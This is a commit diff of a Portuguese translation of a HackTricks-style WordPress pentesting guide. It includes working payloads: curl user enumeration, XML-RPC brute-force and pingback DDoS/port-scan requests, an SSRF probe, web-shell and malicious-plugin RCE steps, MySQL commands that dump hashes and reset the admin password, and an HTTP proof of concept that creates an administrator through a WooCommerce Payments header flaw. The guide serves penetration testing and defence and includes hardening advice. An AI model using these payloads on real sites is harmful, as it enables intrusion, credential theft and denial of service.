mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
ad55d1843e
commit
6186db31ab
@ -5,46 +5,46 @@
|
||||
## Informações Básicas
|
||||
|
||||
- **Arquivos enviados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Os arquivos de temas podem ser encontrados em /wp-content/themes/,** então se você alterar algum php do tema para obter RCE provavelmente usará esse caminho. Por exemplo: Usando **theme twentytwelve** você pode **access** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Outra URL útil pode ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- Em **wp-config.php** você pode encontrar a senha root do banco de dados.
|
||||
- No **wp-config.php** você pode encontrar a senha root do banco de dados.
|
||||
- Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Principais arquivos do WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contém informações úteis como a versão do WordPress instalada.
|
||||
- `wp-activate.php` é usado no processo de ativação por e-mail ao configurar um novo site WordPress.
|
||||
- `license.txt` contém informações úteis, como a versão do WordPress instalada.
|
||||
- `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
|
||||
- Pastas de login (podem ser renomeadas para ocultá-las):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos usando HTTP como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
|
||||
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
|
||||
- `wp-includes/` é o diretório onde arquivos do núcleo são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as publicações públicas e tipos de post e taxonomias consultáveis publicamente.
|
||||
- `wp-includes/` é o diretório onde os arquivos core são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` Em versões do WordPress 5.5 e superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis.
|
||||
|
||||
**Pós-exploração**
|
||||
**Post exploitation**
|
||||
|
||||
- O arquivo `wp-config.php` contém informações necessárias para o WordPress conectar-se ao banco de dados, como o nome do banco, host do banco, usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil para resolver problemas.
|
||||
- O arquivo `wp-config.php` contém informações necessárias ao WordPress para conectar-se ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco de dados. Esse arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.
|
||||
|
||||
### Permissões de Usuários
|
||||
|
||||
- **Administrador**
|
||||
- **Editor**: Publica e gerencia seus próprios posts e os de outros
|
||||
- **Autor**: Publica e gerencia seus próprios posts
|
||||
- **Colaborador**: Escreve e gerencia seus posts, mas não pode publicá-los
|
||||
- **Assinante**: Visualiza posts e edita seu perfil
|
||||
- **Editor**: Publica e gerencia suas próprias postagens e as de outros
|
||||
- **Autor**: Publica e gerencia suas próprias postagens
|
||||
- **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las
|
||||
- **Assinante**: Navega pelas postagens e edita seu perfil
|
||||
|
||||
## **Enumeração Passiva**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Obter versão do WordPress**
|
||||
|
||||
Verifique se consegue encontrar os arquivos `/license.txt` ou `/readme.html`
|
||||
Verifique se você consegue encontrar os arquivos `/license.txt` ou `/readme.html`
|
||||
|
||||
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -79,13 +79,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Enumeração ativa
|
||||
|
||||
### Plugins and Themes
|
||||
### Plugins e Temas
|
||||
|
||||
Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará **realizar ativamente um Brute Force em uma lista de Plugins and Themes** (esperançosamente existem ferramentas automatizadas que contenham essas listas).
|
||||
Provavelmente você não conseguirá encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **ativamente Brute Force uma lista de Plugins e Temas** (esperançosamente para nós existem ferramentas automatizadas que contêm essas listas).
|
||||
|
||||
### Usuários
|
||||
|
||||
- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing IDs de usuários:
|
||||
- **ID Brute:** Você obtém usuários válidos de um site WordPress ao Brute Forcing os IDs de usuários:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -95,21 +95,21 @@ Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Outro `/wp-json/` endpoint que pode revelar algumas informações sobre usuários é:
|
||||
Outro endpoint `/wp-json/` que pode revelar algumas informações sobre usuários é:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Somente informações sobre os usuários que têm esse recurso habilitado serão fornecidas**.
|
||||
Observe que este endpoint expõe apenas usuários que fizeram um post. **Somente informações sobre os usuários que têm este recurso habilitado serão fornecidas**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Também observe que **/wp-json/wp/v2/pages** could leak endereços IP.
|
||||
|
||||
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente**, indicando se o **username** existe ou não.
|
||||
- **Login username enumeration**: Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** dependendo se o **username existe ou não**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Você pode automatizar esse processo [using this](https://github.com/relarizky/wpxploit), por exemplo).
|
||||
Se `xml-rpc.php` estiver ativo, você pode realizar um credentials brute-force ou usá-lo para lançar ataques DoS a outros recursos. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
Para verificar se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta requisição:
|
||||
|
||||
**Verificar**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para brute-force credentials. Se você conseguir encontrar algum deles, pode enviar algo como:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
A mensagem _"Incorrect username or password"_ em uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
|
||||
A mensagem _"Incorrect username or password"_ dentro de uma resposta com código 200 deve aparecer se as credentials não estiverem válidas.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Usando as credenciais corretas, você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Usando as credentials corretas você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Usando as credenciais corretas, você pode fazer upload de um arquivo. Na respos
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force creds using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Este método é destinado a programas e não a humanos, e é antigo; portanto não suporta 2FA. Assim, se você tem creds válidas mas a entrada principal está protegida por 2FA, **você pode conseguir abusar de xmlrpc.php para fazer login com essas creds contornando o 2FA**. Note que você não conseguirá realizar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Este método foi feito para programas e não para humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver creds válidas mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar de xmlrpc.php para fazer login com essas creds contornando a 2FA**. Note que você não conseguirá executar todas as ações que pode fazer pelo console, mas ainda assim pode chegar a RCE como o Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
**DDoS ou port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||
This can be used to ask **milhares** de Wordpress **sites** to **acessar** um único **local** (causando um **DDoS** nesse local) ou você pode usá-lo para fazer o **Wordpress** **scan** alguma **rede** interna (você pode indicar qualquer porta).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
|
||||
```
|
||||

|
||||
|
||||
Se você obtiver **faultCode** com um valor **maior** que **0** (17), isso significa que a porta está aberta.
|
||||
Se você obtiver **faultCode** com um valor **maior do que** **0** (17), isso significa que a porta está aberta.
|
||||
|
||||
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
|
||||
Veja o uso de **`system.multicall`** na seção anterior para aprender como abusar deste método para causar DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Veja o uso de **`system.multicall`** na seção anterior para aprender como abus
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
|
||||
Quando esse arquivo é **accessed**, uma consulta MySQL "**heavy**" é executada, então ele pode ser usado por **attackers** para **cause** um **DoS**.\
|
||||
Além disso, por padrão, o `wp-cron.php` é chamado a cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
|
||||
Este arquivo geralmente existe na raiz do site WordPress: **`/wp-cron.php`**\
|
||||
Quando este arquivo é **acessado**, uma consulta MySQL **"pesada"** é executada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do WordPress), o que em sites de alto tráfego pode causar problemas (DoS).
|
||||
|
||||
Recomenda-se desabilitar o Wp-Cron e criar um cronjob real no host que execute as ações necessárias em intervalos regulares (sem causar problemas).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o Worpress site pode fazer uma requisição para você.
|
||||
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site WordPress pode fazer uma requisição para você.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Esta ferramenta verifica se o **methodName: pingback.ping** e o path **/wp-json/oembed/1.0/proxy** existem e, se existirem, tenta explorá-los.
|
||||
Esta ferramenta verifica se o **methodName: pingback.ping** e o caminho **/wp-json/oembed/1.0/proxy** existem; se existirem, tenta explorá-los.
|
||||
|
||||
## Ferramentas Automáticas
|
||||
```bash
|
||||
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Obter acesso sobrescrevendo um bit
|
||||
|
||||
Mais uma curiosidade do que um ataque real. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você podia inverter 1 bit em qualquer arquivo wordpress. Então você podia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para transformar a operação NOT (`!`) em NOP.
|
||||
Mais do que um ataque real, isto é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Então você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para tornar NOP a operação NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Painel RCE**
|
||||
|
||||
**Modificando um php do tema usado (são necessárias credenciais de admin)**
|
||||
**Modificando um php do tema usado (credenciais admin necessárias)**
|
||||
|
||||
Aparência → Editor de Tema → Template 404 (à direita)
|
||||
|
||||
Altere o conteúdo para um php shell:
|
||||
Substitua o conteúdo por um shell php:
|
||||
|
||||
.png>)
|
||||
|
||||
Pesquise na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Procure na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -265,95 +265,95 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
para obter uma sessão.
|
||||
|
||||
## RCE em plugin
|
||||
## Plugin RCE
|
||||
|
||||
### Plugin PHP
|
||||
### PHP plugin
|
||||
|
||||
Pode ser possível enviar arquivos .php como um plugin.\
|
||||
Crie seu backdoor em php usando, por exemplo:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Crie seu php backdoor usando por exemplo:
|
||||
|
||||
.png>)
|
||||
|
||||
Depois adicione um novo plugin:
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Faça upload do plugin e pressione Install Now:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Clique em Procced:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Provavelmente isso aparentemente não fará nada, mas se você for em Media, verá seu shell carregado:
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
|
||||
.png>)
|
||||
|
||||
Acesse-o e você verá a URL para executar o reverse shell:
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Enviar e ativar plugin malicioso
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Esse processo é realizado através do WordPress dashboard da seguinte forma:
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
|
||||
1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalação do Plugin**:
|
||||
- Navegue até o WordPress dashboard, então vá para `Dashboard > Plugins > Upload Plugin`.
|
||||
1. **Plugin Acquisition**: O plugin é obtido de uma fonte como Exploit DB, por exemplo [**aqui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||||
- Faça upload do arquivo zip do plugin baixado.
|
||||
3. **Ativação do Plugin**: Uma vez que o plugin seja instalado com sucesso, ele deve ser ativado através do dashboard.
|
||||
4. **Exploração**:
|
||||
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado por ser conhecido como vulnerável.
|
||||
- O Metasploit framework fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
|
||||
- Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
3. **Plugin Activation**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do dashboard.
|
||||
4. **Exploitation**:
|
||||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||||
|
||||
O conteúdo inclui auxílios visuais que mostram os passos no WordPress dashboard para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita.
|
||||
O conteúdo inclui ilustrações que mostram os passos no dashboard do WordPress para instalar e ativar o plugin. Entretanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Estas informações devem ser usadas de forma responsável e apenas em um contexto legal, como pentesting com permissão explícita.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## De XSS para RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X and 4.X.X. e permite:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Cria um usuário no WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu plugin customizado (backdoor) para o WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu custom plugin (backdoor) para o WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploits customizados para Third-Party WordPress Plugins/Themes.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits para plugins/themes de terceiros do WordPress.
|
||||
|
||||
## Pós-Exploração
|
||||
## Post Exploitation
|
||||
|
||||
Extrair nomes de usuário e senhas:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Alterar a senha do admin:
|
||||
Alterar password do admin:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Superfície de Ataque
|
||||
### Attack Surface
|
||||
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos pontos a seguir e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode ver como um plugin pode expor funcionalidades nos itens abaixo e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uma das formas de um plugin expor funções para usuários é via AJAX handlers. Eles podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um Wordpress nonce que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente do seu papel).
|
||||
Uma das formas pelas quais um plugin pode expor funções para os usuários é via AJAX handlers. Estes podem conter bugs de lógica, authorization, ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que **any user authenticated in the Wordpress instance might have** (independentemente do seu role).
|
||||
|
||||
Estas são as funções que podem ser usadas para expor uma função em um plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**O uso de `nopriv` torna o endpoint acessível a quaisquer usuários (até mesmo não autenticados).**
|
||||
**O uso de `nopriv` torna o endpoint acessível por quaisquer users (mesmo os não autenticados).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Além disso, se a função apenas verifica a autorização do usuário com a função `wp_verify_nonce`, essa função só verifica se o usuário está logado; normalmente não verifica o papel do usuário. Portanto, usuários com privilégios baixos podem ter acesso a ações de alto privilégio.
|
||||
> Além disso, se a função estiver apenas verificando a autorização do user com a função `wp_verify_nonce`, essa função está apenas verificando se o user está loggedin; ela normalmente não verifica o role do user. Portanto users com baixo privilégio podem ter acesso a ações de alto privilégio.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Também é possível expor funções do WordPress registrando uma REST API usando a função `register_rest_route`:
|
||||
Também é possível expor funções do wordpress registrando uma REST API usando a função `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
O `permission_callback` é uma função de callback que verifica se um dado usuário está autorizado a chamar o método da API.
|
||||
O `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
|
||||
|
||||
**Se a função integrada `__return_true` for usada, ela simplesmente pulará a verificação de permissões do usuário.**
|
||||
|
||||
- **Acesso direto ao arquivo php**
|
||||
|
||||
Claro, Wordpress usa PHP e os arquivos dentro dos plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha alguma funcionalidade vulnerável que seja acionada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
|
||||
Claro que o Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja disparada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não for vinculado criptograficamente à requisição por um componente upstream, um atacante pode forjar ele e atingir rotas REST privilegiadas como administrador.
|
||||
Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode forjá-lo e acessar rotas REST privilegiadas como administrador.
|
||||
|
||||
- Impacto: escalada de privilégio não autenticada para admin ao criar um novo administrador via a rota REST core users.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (força o user ID 1, tipicamente a primeira conta de administrador).
|
||||
- Rota explorada: `POST /wp-json/wp/v2/users` com um array de role elevado.
|
||||
- Impact: escalada de privilégio não autenticada para admin ao criar um novo administrator via a rota REST core users.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,26 +393,26 @@ Content-Length: 114
|
||||
```
|
||||
Por que funciona
|
||||
|
||||
- O plugin mapeia um cabeçalho controlado pelo cliente para o estado de autenticação e ignora verificações de capability.
|
||||
- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin contorna isso definindo diretamente o contexto do usuário atual a partir do cabeçalho.
|
||||
- O plugin mapeia um header controlado pelo cliente para o estado de autenticação e ignora as verificações de capability.
|
||||
- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header.
|
||||
|
||||
Indicadores de sucesso esperados
|
||||
|
||||
- HTTP 201 com um corpo JSON descrevendo o usuário criado.
|
||||
- Um novo usuário administrador visível em `wp-admin/users.php`.
|
||||
|
||||
Lista de verificação para detecção
|
||||
Checklist de detecção
|
||||
|
||||
- Procure por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de terceiros que leem cabeçalhos customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revise os registros REST em busca de callbacks privilegiados que não possuem verificações robustas de `permission_callback` e que em vez disso dependem de cabeçalhos da requisição.
|
||||
- Procure usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores de cabeçalho.
|
||||
- Faça grep por `getallheaders()`, `$_SERVER['HTTP_...']`, ou SDKs de terceiros que leiam headers customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revise os registros REST em busca de callbacks privilegiados que não tenham checagens robustas de `permission_callback` e que, em vez disso, dependam de headers da requisição.
|
||||
- Procure por usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores de headers.
|
||||
|
||||
Endurecimento
|
||||
|
||||
- Nunca derive autenticação ou autorização a partir de cabeçalhos controlados pelo cliente.
|
||||
- Se um reverse proxy precisar injetar identidade, termine a confiança no proxy e remova cópias recebidas (e.g., `unset X-Wcpay-Platform-Checkout-User` na borda), depois passe um token assinado e verifique-o no servidor.
|
||||
- Para rotas REST que realizam ações privilegiadas, exija verificações `current_user_can()` e um `permission_callback` estrito (NÃO use `__return_true`).
|
||||
- Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” via cabeçalho.
|
||||
- Nunca derive autenticação ou autorização de headers controlados pelo cliente.
|
||||
- Se um reverse proxy precisar injetar identidade, encerre a confiança no proxy e remova cópias inbound (por exemplo, `unset X-Wcpay-Platform-Checkout-User` na borda), então passe um token assinado e verifique-o no servidor.
|
||||
- Para rotas REST que executam ações privilegiadas, exija checagens `current_user_can()` e um `permission_callback` rigoroso (NÃO use `__return_true`).
|
||||
- Prefira autenticação first-party (cookies, application passwords, OAuth) em vez de “impersonation” por header.
|
||||
|
||||
